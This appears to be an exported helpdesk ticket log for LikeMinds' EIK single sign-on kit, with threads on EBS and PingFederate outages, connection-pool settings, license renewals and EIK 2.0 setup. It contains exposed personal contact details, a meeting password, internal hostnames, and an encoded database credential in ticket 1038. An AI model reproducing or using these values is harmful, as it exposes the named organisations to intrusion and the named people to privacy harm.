SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 1020

SUBJECT : Eik issue

PROBLEM DESCRIPTION : aaa

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 1021

SUBJECT : Support Testing

PROBLEM DESCRIPTION : I am Testing 123

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Muthu, We will look into this issue and please provide us log files and error screenshot. Thanks,

TICKET DISPLAY ID : 1030

SUBJECT : EBS Non-prods are not working and affecting Production AD

PROBLEM DESCRIPTION : EBS non-prods are not working. Getting "Oops system error occurred". It's creating lot of CPU utilization and affecting production active directory. Please call Sarbjit at 510-557-9219.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Dipali Desai, Could you please send the logs. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali Desai, We hope the Issue is been resolved. Please update the Ticket from your side. Please reach out to us for further EIK related issues by HelpDesk Portal (or) +1 (732-790-2132) ? If the issue has been resolved, kindly requesting you to close the ticket in the LikeMinds HelpDesk Portal. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly

to this email. Visit the ticket link above to view or manage your tickets.-->

Reopening the ticket. EBS-Test is down again. This is used by many users. We need your help to resolve the issue. We will share conf link soon.

Hi Dipali Desai, Thanks for contacting the support team. Can you please provide the server.log for us to look into the issue? Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali Desai, We will get to you with the RCA discussing with our team on this intermittent issue as soon as possible. Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali & Team, In yesterday's call, we were told all the 4\* EBS instances (EBSTST, EBSQA, EBSDEV, EBSPRJ2) were working fine. If EBSTST was again failed or facing intermittent issues, please send us the issues faced by the user precisely. If the issue happens again kindly help us with a screenshot along with the logs. With the logs provided earlier, we spotted two errors. 1) Multiple Database connection failures during User authentication. As mentioned in the call yesterday, this needs to be sorted out along with the DB team & PingFederate team. EIK is dependent on the PF server for all the transactions. When PingFederate is restarted, all the existing DB connections will be reset and new connections will be triggered during the user login. There might be chances of previous connections being held by the DB servers availability which making the new requests held

in the queue without being served. Having 4 EIK in the same PF is again not a recommended approach and any disturbance to a heavily loaded PF server like network glitch or improper restarts will lead to such intermittent issues. 2) CRL validation in PingFederate From the logs, we see, a CRL validation is in place. Therefore, any certificate which is nearing the expiry date will be revoked from PF trusted CA store and thereby the PF will fail to check the validations with that certificate. In either way, the EIK transaction will be affected here. ? Please make sure a fine-grained monitor is being set for PF & DB services so that it can be prevented from such issues going forward. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali Desai, As informed by Lumentum Team in meeting on last Friday (24 July 2020), the reopened EBS-Test issue is not related to EIK. kindly requesting you to close the ticket in the LikeMinds HelpDesk Portal. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1030> If there is no response from you, we will assume that the ticket has been resolved and the ticket will be automatically closed after 48 hours. Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1031

SUBJECT : SSO in Dev environment

PROBLEM DESCRIPTION : All our non-prod environments were down last night. And I'm looking at the server logs - After exiting DBCX method successfully, it shows "SQL ERROR OCCURRED WHITE CREATING SESSION" - by restarting pingfed services resolved this issue. Could you please provide me RCA on this issue? I have attached the server logs.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Edg/84.0.522.59  
seen\_articles: "[\"48000636504\"]" referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, Thanks for contacting the support team. We will get back to you with the RCA discussing with our team on this issue as soon as possible. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1031> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, This issue is due to the dependency of the Kit for the establishment of Connection Pooling to the EBS DB; Hence, whenever either the DB Connectivity is lost or EBS DB is restarted, The restart of PingFederate is necessary. This scenario actually happens with the current version of Kit; But, however, we have a new version of the Kit, which is still in Beta Testing, and the new version avoids the restart of PingFederate for this scenario. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1031> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Reza can you give us an update on availability of the latest version of the EIK that does not require a restart of the PingFederate services ?

TICKET DISPLAY ID : 1032

SUBJECT : EBS 503 Error



PROBLEM DESCRIPTION : Our EBS PROD was down last night - I am looking at the log file and seeing ? the token processor ?failed to validate credentials?. Could you please have someone join this call asap? <https://meetings.ringcentral.com/j/1483511373>

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.51  
seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, We are unable to join the meeting, could you please resend the meeting link.  
Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1032> Regards, EIK  
Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Lumentum InfoSec, We see that the user name token validation has failed, which is the Password Credential Validation error in PingFederate; At this point, PingFederate failed to send the Authorization Code in the event of failed user transactions; Please monitor the Failed user login activities; If the issue is identified again, please do capture the user experience while accessing the EBS Application in the browser; We could not relate this with the EBS Integration Kit with the above inference. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1032>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1033

SUBJECT : EIK License Renewal - Emirates NBD

PROBLEM DESCRIPTION : Hi Butchi, A license file was requested to replace the expired license file via phone call. Resolution: The new License file was sent via email to

commandcenter@emiratesnbd.com and is also available to download from the support portal.

Please find the attachment Regards EIK Support Team

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2020-09-19 03:08:01 UTC

TICKET DISPLAY ID : 1034

SUBJECT : EIK 1.1 Patch files

PROBLEM DESCRIPTION : Hi Mike, We uploaded EIK 1.1 Patch files in our EIK support portal.

Could you please login to our support portal with your credential and find the EIK 1.1 Patch files.

Regards, EIK Support Team.

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2020-09-21 08:52:29 UTC

TICKET DISPLAY ID : 1035

SUBJECT : To know all the places and steps in PingFederate where new AD domain controller can configure (we need to configure a new domain controller )

PROBLEM DESCRIPTION : Dear Team, We have to configure to a new AD domain controller(UAEPRLDAP.EMIRATESNBD.COM) today EOD as the existing domain controller (witadsbasp) is decommission today in the production as we have deadline by central bank. we would request to know all the required steps and place where new AD domain to configure and complete steps. we have attached the email communication below which we have so far for your understand the business requirement. Awaiting your response Thank you Regards, Kishor ASCOE - IT Operations Team Group IT Emirates NBD M: +971 528143195

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Kishor Kumar, We are checking this with our team and will let you know as soon as possible.  
Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1035> Regards, EIK  
Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to  
this email. Visit the ticket link above to view or manage your tickets.-->

can we get an update please. It's very urgent and kindly understand our situation and provide the  
response. Appreciate if you provide the direct SPOC contact number to discuss further easily  
Regards, Kishor Emirates NBD M: +971 528143195

Hi Kishor Kumar, We are not sure where else the AD has been referred in the setup since we are  
not sure about your environment and suggesting PingFederate configuration is out of our scope.  
Please feel free to reach out to [Reza@likemindsconsulting.com](mailto:Reza@likemindsconsulting.com) for further questions. Ticket URL -  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1035> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1036

SUBJECT : Ping service account change

PROBLEM DESCRIPTION : Hi Likeminds team, We need to replace the service account used by  
PingFederate. Please let us know what would be the impact and what we need to careful with.

Thanks, Dipali

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, "Service Account" seems to be general in PingFederate term. Can you please share which Service Account you specifically mean to change? ? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1036> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, This change is affiliated to PingFederate configurations for which you can contact your Ping Support team for further details. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1036> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1037

SUBJECT : EIK license reanewal

PROBLEM DESCRIPTION : We are renewing the LikeMinds EIK license in production. We want someone from LikeMinds to be available to support this activity if we run into any issues. We can do this either Friday(10/16) evening or Saturday(10/17) Morning. Please let us know so we can schedule accordingly depending on the LikeMinds availability. This is the first time we are doing the license renewal in production so want to make sure everything completes with no hiccups as we have a tight window to complete this activity.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 seen\_articles: "[\"48001157932\"]" referrer:

<https://likemindsconsultinghelp.freshdesk.com/support/solutions/articles/48001157932>

Also, this support should require no more than 1-2 hours. We are located in PST time zone. Thank you.

Hi Eric Sumida, Thanks for sharing the availability time windows; 16th October evening would be good and please share the meeting invite for the same. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1037> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1038

SUBJECT : LikeMinds EIK failing SSO in Production

PROBLEM DESCRIPTION : Need support to join call at noon Mountain Time please We are seeing the below error on our AWS instance of PingFed with the EIK?s (AW1PINGRT02A) and for ONLY our ERP users. The users are randomly experiencing failures to get into Oracle ERP. Configs across servers are identical. It seems we may be bumping up against our max pool size limit? I?ve attached the log files for both servers (AW1PINGRT02 and AW1PINGRT02A). Below is more data.-----à EIK.dbcx File contents: #Mon Oct 12 13:59:09 MDT 2020 maxpoolsize=150  
Appl\_conn\_id=rO0ABXNyACNjb20ubGlrZW1pbmRzLkVCU0F1dGguRUILRGF0YXNvdXJjZQAAAA  
AAAAABAgABTAAHY29uZk1hcHQAE0xqYXZhL3V0aWwvSGFzaE1hcDt4cHNyABFqYXZhLnV0a  
WwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZlZlY3RvckkACXRocmVzaG9sZHhwP0AAAA  
AAABh3CAAAACAAAAANdAAIcG9vbG5hbWV0AA5FQINBdXRORVJQUHJvZHQADGluaXRwb29s  
c2l6ZXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sY  
W5nLk51bWJlcoasIR0LIOCLAgAAeHAAAAAydAAFDXBhc3N0AA1SYWNza2NvYiMwOTIwdAAFDW  
5hbWV0AARBUFBTdAAPdGltZW91dGludGVydmFsc3EAfgAIAAAAHnQACFJCQUNwYXNzdAALT

WfFuYwDlckAxMjN0AAN1cmx0ADVqZGJjOm9yYWNsZTp0aGluOkBlcnBwcm9kZGluZG4uZ2F0ZX  
MuY29tOjE1NDM6RVJQUFJPRHQACFJCQUN1c2VydaAAHRUILVVNFUnQAC21heHBvb2xzaXplc3  
EAfgAIAAAAIInQABmRyaXZlcnQAH29yYWNsZS5qZGJjLmRyaXZlci5PcmFjbGVEcmI2ZXJ0AApib3  
Jyb3djbj25uc3IAEWphdmEubGFuZy5Cb29sZWZuzSBYgNWc+u4CAAFaAAV2YWx1ZXhwAXQAE2I  
uYWN0aXZlY29ubnRpbWVvdXRzcQB+AAgAAAAAdAALbWlucG9vbHNpemVxAH4ACng\=  
initpoolsize=50 jdbc\_driver=oracle.jdbc.driver.OracleDriver RBACuser=EIKUSER borrowconn=true  
ContextPath=/EBSAuthERPPProd minpoolsize=50 inactiveconntimeout=0  
jdbc\_url=jdbc\:oracle\:thin\:@erpproddb.dn.gates.com\:1543\:ERPPROD  
poolname=EBSAuthERPPProd RBACpass=TWfFuYwDlckAxMjM\= timeoutinterval=30 Connections  
on the ADC server: PS C:\Users\mt9595adm> netstat -an | Select-String -Pattern 10.200.65.101 |  
measure-object -line >> netstat -an | Select-String -Pattern 10.200.65.15 | measure-object -line  
Lines Words Characters Property ----- 145 = ERP 50 = HR Connections on the  
AWS server: PS C:\Users\mt9595adm> netstat -an | Select-String -Pattern 10.200.65.101 |  
measure-object -line >> netstat -an | Select-String -Pattern 10.200.65.15 | measure-object -line  
Lines Words Characters Property ----- 150 = ERP 38 = HR When it's time, join  
your Webex meeting here. Meeting number (access code): 130 382 6520 Meeting password:  
kbGMxNku428 Join meeting Tap to join from a mobile device (attendees only)  
+18662827366,,1303826520## US Toll Free Join by phone +1 866 282 7366 US Toll Free Global  
call-in numbers | Toll-free calling restrictions Join from a video system or application Dial  
1303826520@gates.webex.com You can also dial 173.243.2.68 and enter your meeting number.  
Join using Microsoft Lync or Microsoft Skype for Business Dial 1303826520.gates@lync.webex.com  
If you are a host, click here to view host information. Need help? Go to <http://help.webex.com>  
SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hello Mike, Based on the Analysis we would recommend you adjust the following properties. Initial Connection Pool Size to 10 (in order to keep the Connection pool optimized and not wasting the system resources, we recommend an initial connection pool size for 10). Min Connection Pool Size 10. Inactive Connection Timeout 30. And the Max Connections can be the same 500. Also, it would be much helpful if you can share with us the no. of connections to the EBS Database at different points of time in the day; It is suggested if you could monitor the connection size every 3 hours, so that our DEV Team can baseline the traffic based on that information; Depending on the observed traffic with the connection size monitoring, we can alter the values if needed; It is advised to first test the changes on the DEV Environment and then promote it to the PROD if there are no issues seen.

? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1038> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike, As discussed earlier please go with the new settings recommended, rebuilding the config file and perform a restart of PingFederate runtime servers in which we have deployed EIK, in order to take effect. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1038> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Mike, To assure you if the fix is going to work, we are updating the Inactivity connection timeout along with our new settings to ensure proper release of connection to the pool; Please configure with the recommendations provided and restart PingFederate runtime servers, so that we can observe the working at least a couple of days. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1038> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Mike Trus, We hope this issue has been addressed; Can we proceed to close this ticket?  
Please let us know. Ticket URL -  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1038> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit  
the ticket link above to view or manage your tickets.-->

Hi - The service was restored and this ticket should be closed. I recommend that it be referenced in  
ticket number 1042. That ticket is a current open production ticket that has the same indications that  
this one does in that the connection pool for our ERP is continuing to grow and I fear that too will fail  
when it reaches the limit defined in the .dbxc file. Thanks, Mike Trus

referenced in ticket number 1042. That ticket is a current open production ticket

TICKET DISPLAY ID : 1039

SUBJECT : Eik Kit

PROBLEM DESCRIPTION : Sometime back, we were advised that the latest version of the kit will  
be released by the end of the 3rd quarter? Any update on the new version of the EIK kit?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 1040

SUBJECT : Question w.r.t the new EIT Tool kit(2.0)



PROBLEM DESCRIPTION : Hi Muthu, Support Team, Have the below questions w.r.t the new upgraded LikeMinds EIK tool kit(2.0). - There are multiple dev applications running on the pingfed. can both versions of the war file co-exist and test the Dev EBS application? Ex: EBS\_Dev1 - works with EBSAuth1.war(1.1), EBS\_Dev2 - works with EBSAuth.war(2.0) - Do we have to regenerate all the required configuration files again to make it work with the EBSAuth.war(2.0)? - Do we have to replace the existing license with the new license file provided in the support portal? Do let us know at the earliest possible. Thanks, Vijay.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Vijayendra Boda, ? Please find the below questions w.r.t the answers for the new upgraded LikeMinds EIK tool kit(2.0). - There are multiple dev applications running on the pingfed. can both versions of the war file co-exist and test the Dev EBS application? Ex: EBS\_Dev1 - works with EBSAuth1.war(1.1), EBS\_Dev2 - works with EBSAuth.war(2.0) =>For the co-existence of one Dev instance with EIK1.1 and another with EIK2.0 no issues with that but its not a best practice and also this kind of architecture may not be supported in future. ? - Do we have to regenerate all the required configuration files again to make it work with the EBSAuth.war(2.0)? =>Yes, needs to regenerate new config,dbcx and license (place the new license in the EIK\_HOME for 2.0 war). - Do we have to replace the existing license with the new license file provided in the support portal? =>Yes, Since its a new major release (for EIK2.0). Note: If EBS instance is EIK2.0 then need to follow as per doc for all the configuration files. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, Thanks for the update. We followed the document of steps and the application is failing to authenticate the access. Please let us know if anyone will be available for a webex session to help fix the issue. Below is the error message I notice in the server log.

```
2020-10-30 02:13:52,991 ERROR [SystemErr] at com.likeminds.ebsauth.exception.AuthException: Authenticated user value is NULL
2020-10-30 02:13:52,991 ERROR [SystemErr] at com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:108)
2020-10-30 02:13:52,991 ERROR [SystemErr] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
2020-10-30 02:13:52,991 ERROR [SystemErr] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
2020-10-30 02:13:52,991 ERROR [SystemErr] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
2020-10-30 02:13:52,991 ERROR [SystemErr] at java.lang.reflect.Method.invoke(Unknown Source)
2020-10-30 02:13:52,992 ERROR [SystemErr] at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190)
2020-10-30 02:13:52,992 ERROR [SystemErr] at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138)
2020-10-30 02:13:52,992 ERROR [SystemErr] at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:106)
2020-10-30 02:13:52,991 ERROR [com.likeminds.ebsauth.service.AuthService] Null pointer Exception in get OIDC Authn User
java.lang.NullPointerException: Authenticated username value is null at com.likeminds.ebsauth.service.AuthService.getOIDCAuthNUser(AuthService.java:444) ~[classes/:?]
at com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:106) ~[classes/:?]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_221]
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_221]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_221]
```

```

java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.8.0_221] at
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet
hod.java:190) ~[spring-web-5.2.2.RELEASE.jar:5.2.2.RELEASE] at
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa
ndlerMethod.java:138) ~[spring-web-5.2.2.RELEASE.jar:5.2.2.RELEASE] at
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn
dHandle(ServletInvocableHandlerMethod.java:106)
~[spring-webmvc-5.2.2.RELEASE.jar:5.2.2.RELEASE] at
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa
ndlerMethod(RequestMappingHandlerAdapter.java:888)
~[spring-webmvc-5.2.2.RELEASE.jar:5.2.2.RELEASE] at
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt
ernal(RequestMappingHandlerAdapter.java:793)
~[spring-webmvc-5.2.2.RELEASE.jar:5.2.2.RELEASE] at
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl
erMethodAdapter.java:87) ~[spring-webmvc-5.2.2.RELEASE.jar:5.2.2.RELEASE] Thanks, Vijay.

```

Hi Vijayendra Boda, ? Can you please confirm if you have configured OpenID Connect Policy Management in PingFederate Admin Console with the Attribute added as "eik\_username"; Also did you try regenerating EIKAuth.config file for implementing EIK2.0 & not going by the same older config file (created previously for EIK1.0). ?We are available for the call too; Please share the invite for the same. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Team, The config section change was missing in the release notes. We have now updated it in the

portal. Please assist the customer with the section for the configuration change in PF console if not already done. Guide him through the changes for adding the 'eik\_username' attribute to the id\_token. The section is 6.1.2.6 for adding the 'eik\_username' attribute. Confirm the same & assist them accordingly for any queries going forward. Thanks, Vignesh

Hi Vijayendra Boda, Did the suggested configuration fix your issue? For further reference, please check Section 6.1.2.6 of EIK 2.0 Deployment document to proceed with the configuration. Let us know if additional assistance is needed. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, Thanks for pointing me to the "eik\_username" configuration. I added it and was able to get the sso to work. Can you also confirm that JDBC connection works when multi data source is used ? The reason for my asking this question is we do not have scan-IP and use multi data source. Regards, Vijay.

Hi Vijayendra Boda, Can you please provide us a detailed information on the DB Setup? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi - The DB is a RAC database and we use the JDBC connection mentioning all the nodes in the JDBC connection as shown below.  
jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS\_LIST=(LOAD\_BALANCE=ON)(FAILOVER=ON)(ADDRESS=(PROTOCOL=tcp)(HOST=xd0db02.activision.com)(PORT=1561))(ADDRESS=(PROTOCO

L=tcp)(HOST=xd0db01.activision.com)(PORT=1561))(ADDRESS=(PROTOCOL=tcp)(HOST=xd0db03.activision.com)(PORT=1561)))(CONNECT\_DATA=(SERVICE\_NAME=abcde))) will it failover when the node-2 /node-1/node-3 is not available. Thanks, Vijay.

Hi Team, Any Update on the question above w.r.t JDBC? Thanks, Vijay.

Hi Vijayendra Boda, Yes, we can confirm that the failover will occur as expected. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra, We hope your questions have been addressed; Can we proceed to close this ticket? Please let us know. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Many Thanks for the update. we are testing the connectivity as confirmed by you. Will update in the next few days. Regards, Vijay.

Hi Vijayendra, Please let us know if the testing worked as expected. Thanks, Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, The JDBC testing worked for load balancing. continuing to test in another instance. Is there a

way to minimize the JDBC connections from 25 to 10 instead of keeping 25 dedicated connections for the EIK 2.0? Thanks, Vijay.

Hi Vijay, Sure. You can proceed to reduce the connections to 10 instead of 25. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra Boda, Hope the configurations put in place currently are working as expected. Can we proceed to close this ticket with the issues being resolved? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1040> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1041

SUBJECT : Intermittent SSO failures on ONLY ERP system

PROBLEM DESCRIPTION : Gates is experiencing intermittent SSO login errors for users trying to gain access to our production ERP system via Ping SSO and the LikeMinds EIK. We have NOT exceeded the connections as defined and are seeing no errors in the EIK server logs. This problem began today ~ noon Mountain time. Our network and Ping servers are showing good health. This is becoming a Sev1 Please contact Mike Trus @6162920145 or [mike.trus@gates.com](mailto:mike.trus@gates.com) ASAP. Thanks  
Mike Trus

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Mike Trus, We are consulting with our DEV Team & will give you an update as soon as possible.

Thanks & Regards, Likeminds Support Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1041> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike Trus, Can you please share with us the request logs & server logs of that particular time

when the issue popped up? Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1041> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Mike Trus, Hope this issue has been addressed and resolved with the new Configuration values.

Can we proceed to close this ticket? Ticket URL -

<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1041> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi - I feel that you can close this ticket but recommend that you fold it in, or reference it in the currently open ticket 1042. We are not currently experiencing failures, but our production connection pool for our ERP system continues to grow without an explanation and I fear that it will fail once the number of max connections is reached. Thanks, Mike Trus

reference it in the currently open ticket 1042.

TICKET DISPLAY ID : 1042

SUBJECT : Production Errors

